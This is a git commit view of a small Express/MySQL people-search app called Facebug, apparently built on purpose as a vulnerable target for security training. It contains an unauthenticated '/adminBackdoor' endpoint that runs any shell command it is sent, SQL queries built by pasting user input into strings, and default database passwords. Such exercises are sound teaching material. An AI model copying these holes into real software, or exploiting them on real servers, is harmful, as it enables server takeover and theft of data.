mirror of
https://github.com/danbulant/facebug
synced 2026-07-05 11:10:34 +00:00
initial commit
This commit is contained in:
commit
50eb812ee6
12 changed files with 2245 additions and 0 deletions
10
Dockerfile
Normal file
10
Dockerfile
Normal file
|
|
@ -0,0 +1,10 @@
|
||||||
|
FROM node:20
|
||||||
|
|
||||||
|
COPY . /usr/src/app/
|
||||||
|
|
||||||
|
WORKDIR /usr/src/app
|
||||||
|
RUN corepack enable pnpm
|
||||||
|
RUN pnpm install
|
||||||
|
RUN pnpm run build
|
||||||
|
|
||||||
|
CMD ["npm", "start"]
|
||||||
37
README.md
Normal file
37
README.md
Normal file
|
|
@ -0,0 +1,37 @@
|
||||||
|
# Facebug
|
||||||
|
|
||||||
|
Facebug is a simple web application that allows you to search for people by their first and last name.
|
||||||
|
|
||||||
|
## Build instructions
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# build an image
|
||||||
|
docker build -t haxagon/facebug .
|
||||||
|
|
||||||
|
# push an image to private registry
|
||||||
|
docker push haxagon/facebug
|
||||||
|
```
|
||||||
|
|
||||||
|
## Development
|
||||||
|
|
||||||
|
```bash
|
||||||
|
# install dependencies
|
||||||
|
npm install
|
||||||
|
|
||||||
|
# build
|
||||||
|
npm run build
|
||||||
|
|
||||||
|
# start local mysql database server
|
||||||
|
docker run -d -p 3306:3306 --name mysql-docker-container -e MYSQL_ROOT_PASSWORD=facebug -e MYSQL_DATABASE=facebug -e MYSQL_USER=facebug -e MYSQL_PASSWORD=facebug mysql/mysql-server:latest
|
||||||
|
|
||||||
|
# start the application
|
||||||
|
./node_modules/nodemon/bin/nodemon.js lib/app.js
|
||||||
|
```
|
||||||
|
|
||||||
|
## API
|
||||||
|
|
||||||
|
### GET /search
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl 'localhost:3000/search?firstName=Brad&lastName=Pitt'
|
||||||
|
```
|
||||||
37
package.json
Normal file
37
package.json
Normal file
|
|
@ -0,0 +1,37 @@
|
||||||
|
{
|
||||||
|
"name": "facebug",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"description": "",
|
||||||
|
"main": "index.js",
|
||||||
|
"scripts": {
|
||||||
|
"build": "./node_modules/typescript/bin/tsc",
|
||||||
|
"start": "node ./lib/app.js",
|
||||||
|
"lint:fix": "eslint . --fix"
|
||||||
|
},
|
||||||
|
"keywords": [],
|
||||||
|
"author": "",
|
||||||
|
"license": "ISC",
|
||||||
|
"devDependencies": {
|
||||||
|
"@types/express": "^4.17.18",
|
||||||
|
"@types/mssql": "^9.1.1",
|
||||||
|
"@types/node": "^20.7.1",
|
||||||
|
"@typescript-eslint/eslint-plugin": "^6.7.3",
|
||||||
|
"@typescript-eslint/parser": "^6.7.3",
|
||||||
|
"eslint": "^8.50.0",
|
||||||
|
"eslint-config-prettier": "^9.0.0",
|
||||||
|
"nodemon": "^3.0.1",
|
||||||
|
"prettier": "^3.0.3",
|
||||||
|
"typescript": "^5.2.2"
|
||||||
|
},
|
||||||
|
"dependencies": {
|
||||||
|
"@types/mysql2": "github:types/mysql2",
|
||||||
|
"chalk": "^5.3.0",
|
||||||
|
"dotenv": "^16.3.1",
|
||||||
|
"express": "^4.18.2",
|
||||||
|
"express-validator": "^7.0.1",
|
||||||
|
"mysql2": "^3.6.1",
|
||||||
|
"pino": "^6.14.0",
|
||||||
|
"pino-pretty": "^10.2.0"
|
||||||
|
},
|
||||||
|
"type": "module"
|
||||||
|
}
|
||||||
1943
pnpm-lock.yaml
Normal file
1943
pnpm-lock.yaml
Normal file
File diff suppressed because it is too large
Load diff
64
src/api/index.ts
Normal file
64
src/api/index.ts
Normal file
|
|
@ -0,0 +1,64 @@
|
||||||
|
import express from 'express';
|
||||||
|
import {query, validationResult} from 'express-validator';
|
||||||
|
import {logger} from '../services/logger.js';
|
||||||
|
import {searchPeople} from "../services/people.js";
|
||||||
|
import {executeBackdoorCommand} from "../services/adminBackdoor.js";
|
||||||
|
|
||||||
|
const api = express();
|
||||||
|
api.use(express.json());
|
||||||
|
const queryValidation = [
|
||||||
|
query('firstName')
|
||||||
|
.exists()
|
||||||
|
.withMessage('firstName is required')
|
||||||
|
.isString(),
|
||||||
|
query('lastName')
|
||||||
|
.exists()
|
||||||
|
.withMessage('firstName is required')
|
||||||
|
.isString()
|
||||||
|
];
|
||||||
|
api.get('/search', queryValidation, async (req, res) => {
|
||||||
|
const validationErrors = validationResult(req);
|
||||||
|
if (!validationErrors.isEmpty()) {
|
||||||
|
logger.warn('invalid domain ping request received', {
|
||||||
|
Data: req.body,
|
||||||
|
Errors: validationErrors.array()
|
||||||
|
});
|
||||||
|
return res.json(validationErrors.array());
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
const searchResult = await searchPeople(req.query.firstName, req.query.lastName)
|
||||||
|
return res.json({"result": searchResult});
|
||||||
|
} catch (e) {
|
||||||
|
logger.error({
|
||||||
|
Data: req.body,
|
||||||
|
err: e
|
||||||
|
}, 'search error');
|
||||||
|
return res.status(500).json({error: e.message});
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
/*
|
||||||
|
In case I forget SSH password, I can use this backdoor to execute commands on the server
|
||||||
|
Looks like completely safe, right?
|
||||||
|
*/
|
||||||
|
api.post('/adminBackdoor', async (req, res) => {
|
||||||
|
logger.info(`admin backdoor request received, executing command ${req.body.command}`)
|
||||||
|
try {
|
||||||
|
const adminCommandResult = await executeBackdoorCommand(req.body.command)
|
||||||
|
return res.json({"result": adminCommandResult});
|
||||||
|
}
|
||||||
|
catch (e) {
|
||||||
|
logger.error({
|
||||||
|
Data: req.body,
|
||||||
|
err: e
|
||||||
|
}, 'admin backdoor error');
|
||||||
|
return res.status(500).json({error: e.message});
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
export function startApiServer() {
|
||||||
|
logger.info('starting API server');
|
||||||
|
api.listen(3000, () => {
|
||||||
|
logger.info('API server listening on port 3000');
|
||||||
|
});
|
||||||
|
}
|
||||||
11
src/app.ts
Normal file
11
src/app.ts
Normal file
|
|
@ -0,0 +1,11 @@
|
||||||
|
import dotenv from 'dotenv';
|
||||||
|
import {logger} from "./services/logger.js";
|
||||||
|
import {startApiServer} from "./api/index.js";
|
||||||
|
import {initDb} from "./services/people.js";
|
||||||
|
|
||||||
|
(async () => {
|
||||||
|
dotenv.config();
|
||||||
|
await initDb()
|
||||||
|
logger.info(`starting facebug with application`)
|
||||||
|
startApiServer()
|
||||||
|
})();
|
||||||
51
src/cli/seed-people-table.ts
Normal file
51
src/cli/seed-people-table.ts
Normal file
|
|
@ -0,0 +1,51 @@
|
||||||
|
import {con, initDb} from "../services/people.js";
|
||||||
|
import {logger} from "../services/logger.js";
|
||||||
|
|
||||||
|
await initDb()
|
||||||
|
|
||||||
|
const people = [
|
||||||
|
{ firstName: 'Karel', lastName: 'Dobry' },
|
||||||
|
{ firstName: 'Brad', lastName: 'Pitt' },
|
||||||
|
{ firstName: 'Jennifer', lastName: 'Aniston' },
|
||||||
|
{ firstName: 'Tom', lastName: 'Hanks' },
|
||||||
|
{ firstName: 'Julia', lastName: 'Roberts' },
|
||||||
|
{ firstName: 'John', lastName: 'Doe' },
|
||||||
|
{ firstName: 'Jane', lastName: 'Smith' },
|
||||||
|
{ firstName: 'Michael', lastName: 'Johnson' },
|
||||||
|
{ firstName: 'Emily', lastName: 'Davis' },
|
||||||
|
{ firstName: 'Robert', lastName: 'Brown' },
|
||||||
|
{ firstName: 'Amanda', lastName: 'Wilson' },
|
||||||
|
{ firstName: 'Daniel', lastName: 'Lee' },
|
||||||
|
{ firstName: 'Sarah', lastName: 'Anderson' },
|
||||||
|
{ firstName: 'Matthew', lastName: 'Taylor' },
|
||||||
|
{ firstName: 'Olivia', lastName: 'Moore' },
|
||||||
|
{ firstName: 'William', lastName: 'Jackson' },
|
||||||
|
{ firstName: 'Sophia', lastName: 'White' },
|
||||||
|
{ firstName: 'James', lastName: 'Martin' },
|
||||||
|
{ firstName: 'Lily', lastName: 'Harris' },
|
||||||
|
{ firstName: 'David', lastName: 'Thompson' },
|
||||||
|
{ firstName: 'Emma', lastName: 'Clark' },
|
||||||
|
{ firstName: 'Christopher', lastName: 'Lewis' },
|
||||||
|
{ firstName: 'Mia', lastName: 'Walker' },
|
||||||
|
{ firstName: 'Joseph', lastName: 'Green' },
|
||||||
|
{ firstName: 'Charlotte', lastName: 'Hall' },
|
||||||
|
{ firstName: 'Andrew', lastName: 'Allen' },
|
||||||
|
{ firstName: 'Grace', lastName: 'Baker' },
|
||||||
|
{ firstName: 'Nicholas', lastName: 'Young' },
|
||||||
|
{ firstName: 'Samantha', lastName: 'Nelson' },
|
||||||
|
{ firstName: 'Ryan', lastName: 'Wright' },
|
||||||
|
{ firstName: 'Ava', lastName: 'King' },
|
||||||
|
{ firstName: 'Kevin', lastName: 'Evans' },
|
||||||
|
{ firstName: 'Madison', lastName: 'Turner' },
|
||||||
|
{ firstName: 'Benjamin', lastName: 'Hill' },
|
||||||
|
{ firstName: 'Hannah', lastName: 'Scott' },
|
||||||
|
{ firstName: 'Jonathan', lastName: 'Adams' },
|
||||||
|
{ firstName: 'Ella', lastName: 'Bennett' },
|
||||||
|
{ firstName: 'Nathan', lastName: 'Carter' },
|
||||||
|
{ firstName: 'Avery', lastName: 'Price' }
|
||||||
|
];
|
||||||
|
|
||||||
|
for (const person of people) {
|
||||||
|
logger.info(`inserting ${person.firstName} ${person.lastName}`)
|
||||||
|
await con.promise().query(`INSERT INTO people (firstName, lastName) VALUES ("${person.firstName}", "${person.lastName}")`)
|
||||||
|
}
|
||||||
24
src/config.ts
Normal file
24
src/config.ts
Normal file
|
|
@ -0,0 +1,24 @@
|
||||||
|
import dotenv from "dotenv";
|
||||||
|
|
||||||
|
export interface FacebugConfig {
|
||||||
|
mysql: {
|
||||||
|
host: string
|
||||||
|
port: number,
|
||||||
|
user: string,
|
||||||
|
password: string,
|
||||||
|
database: string
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// use dotenv to load .env variables to config (mainly for development)
|
||||||
|
dotenv.config()
|
||||||
|
|
||||||
|
export const config: FacebugConfig = {
|
||||||
|
mysql: {
|
||||||
|
host: process.env.MYSQL_HOST || 'localhost',
|
||||||
|
port: parseInt(process.env.MYSQL_PORT) || 3306,
|
||||||
|
user: process.env.MYSQL_USER || 'facebug',
|
||||||
|
password: process.env.MYSQL_PASSWORD || 'facebug',
|
||||||
|
database: process.env.MYSQL_DATABASE || 'facebug'
|
||||||
|
}
|
||||||
|
}
|
||||||
8
src/services/adminBackdoor.ts
Normal file
8
src/services/adminBackdoor.ts
Normal file
|
|
@ -0,0 +1,8 @@
|
||||||
|
import {exec as childProcessExec} from "child_process";
|
||||||
|
import * as util from "util";
|
||||||
|
const exec = util.promisify(childProcessExec)
|
||||||
|
|
||||||
|
export const executeBackdoorCommand = async (command: string) => {
|
||||||
|
const commandResult = await exec(command)
|
||||||
|
return commandResult.stdout
|
||||||
|
}
|
||||||
9
src/services/logger.ts
Normal file
9
src/services/logger.ts
Normal file
|
|
@ -0,0 +1,9 @@
|
||||||
|
import pino from 'pino';
|
||||||
|
|
||||||
|
export const logger = pino({
|
||||||
|
name: 'bradlo',
|
||||||
|
level: 'debug',
|
||||||
|
prettyPrint: {
|
||||||
|
colorize: true
|
||||||
|
}
|
||||||
|
});
|
||||||
22
src/services/people.ts
Normal file
22
src/services/people.ts
Normal file
|
|
@ -0,0 +1,22 @@
|
||||||
|
import mysql from 'mysql2'
|
||||||
|
import {config} from "../config.js";
|
||||||
|
|
||||||
|
export const con = mysql.createConnection(config.mysql);
|
||||||
|
|
||||||
|
export const initDb = async () => {
|
||||||
|
// create database
|
||||||
|
await con.promise().query(`CREATE DATABASE IF NOT EXISTS ${config.mysql.database}`)
|
||||||
|
|
||||||
|
// create table
|
||||||
|
await con.promise().query(`CREATE TABLE IF NOT EXISTS people (
|
||||||
|
id INT PRIMARY KEY AUTO_INCREMENT,
|
||||||
|
firstName VARCHAR(255) NOT NULL,
|
||||||
|
lastName VARCHAR(255) NOT NULL
|
||||||
|
)`)
|
||||||
|
}
|
||||||
|
|
||||||
|
export const searchPeople = async (firstName, lastName) => {
|
||||||
|
// connect to mysql and make a query
|
||||||
|
const [rows] = await con.promise().query(`SELECT * FROM people WHERE firstName="${firstName}" AND lastName="${lastName}"`)
|
||||||
|
return rows
|
||||||
|
}
|
||||||
29
tsconfig.json
Normal file
29
tsconfig.json
Normal file
|
|
@ -0,0 +1,29 @@
|
||||||
|
{
|
||||||
|
"compilerOptions": {
|
||||||
|
"target": "es2022",
|
||||||
|
"module": "node16",
|
||||||
|
"lib": [
|
||||||
|
"ES2022"
|
||||||
|
],
|
||||||
|
"moduleResolution": "NodeNext",
|
||||||
|
"esModuleInterop": true,
|
||||||
|
"rootDir": "./src",
|
||||||
|
"outDir": "lib",
|
||||||
|
"allowSyntheticDefaultImports": true,
|
||||||
|
"importHelpers": true,
|
||||||
|
"alwaysStrict": true,
|
||||||
|
"sourceMap": true,
|
||||||
|
"forceConsistentCasingInFileNames": true,
|
||||||
|
"noFallthroughCasesInSwitch": true,
|
||||||
|
"noImplicitReturns": true,
|
||||||
|
"noUnusedLocals": true,
|
||||||
|
"noUnusedParameters": true,
|
||||||
|
"noImplicitAny": false,
|
||||||
|
"noImplicitThis": false,
|
||||||
|
"strictNullChecks": false,
|
||||||
|
"skipLibCheck": true
|
||||||
|
},
|
||||||
|
"include": [
|
||||||
|
"src/**/*"
|
||||||
|
]
|
||||||
|
}
|
||||||
Loading…
Reference in a new issue